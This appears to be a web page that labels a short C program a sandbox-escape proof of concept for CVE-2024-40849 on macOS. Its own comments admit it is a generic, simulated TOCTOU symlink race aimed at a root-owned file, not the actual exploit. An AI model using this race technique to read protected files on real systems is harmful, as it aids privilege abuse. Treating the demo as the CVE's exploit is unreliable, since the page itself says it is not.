CVE-2024-40849 macOS Sequoia沙箱逃逸漏洞

/* * Conceptual Proof of Concept for CVE-2024-40849 * This code simulates a race condition (TOCTOU) often used in sandbox escapes. * It is a generic example and not the actual exploit. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> volatile int stop_flag = 0; // Thread 1: The attacker thread trying to swap resources void* attacker_thread(void* arg) { while (!stop_flag) { // Simulate swapping a safe file with a protected one // In a real exploit, this would manipulate file descriptors or symlinks system("ln -sf /private/var/root/secret.txt /tmp/safe_file.txt"); usleep(100); // Small delay to allow the main thread to run system("ln -sf /tmp/trash.txt /tmp/safe_file.txt"); } return NULL; } // Thread 2: The victim thread (simulating the vulnerable system process) void* victim_thread(void* arg) { while (!stop_flag) { // 1. Check: Sandbox validates access to /tmp/safe_file.txt (Allowed) if (access("/tmp/safe_file.txt", R_OK) == 0) { // 2. Use: Open and read the file // Race window exists here. If swapped between access and fopen, // we might open /private/var/root/secret.txt FILE* fp = fopen("/tmp/safe_file.txt", "r"); if (fp) { char buffer[256]; if (fgets(buffer, sizeof(buffer), fp)) { printf("[+] Read data: %s\n", buffer); } fclose(fp); } } usleep(1000); } return NULL; } int main() { pthread_t t1, t2; printf("[*] Starting Race Condition Simulation for CVE-2024-40849\n"); pthread_create(&t1, NULL, attacker_thread, NULL); pthread_create(&t2, NULL, victim_thread, NULL); // Run for a specific duration sleep(5); stop_flag = 1; pthread_join(t1, NULL); pthread_join(t2, NULL); printf("[*] Simulation finished.\n"); return 0; }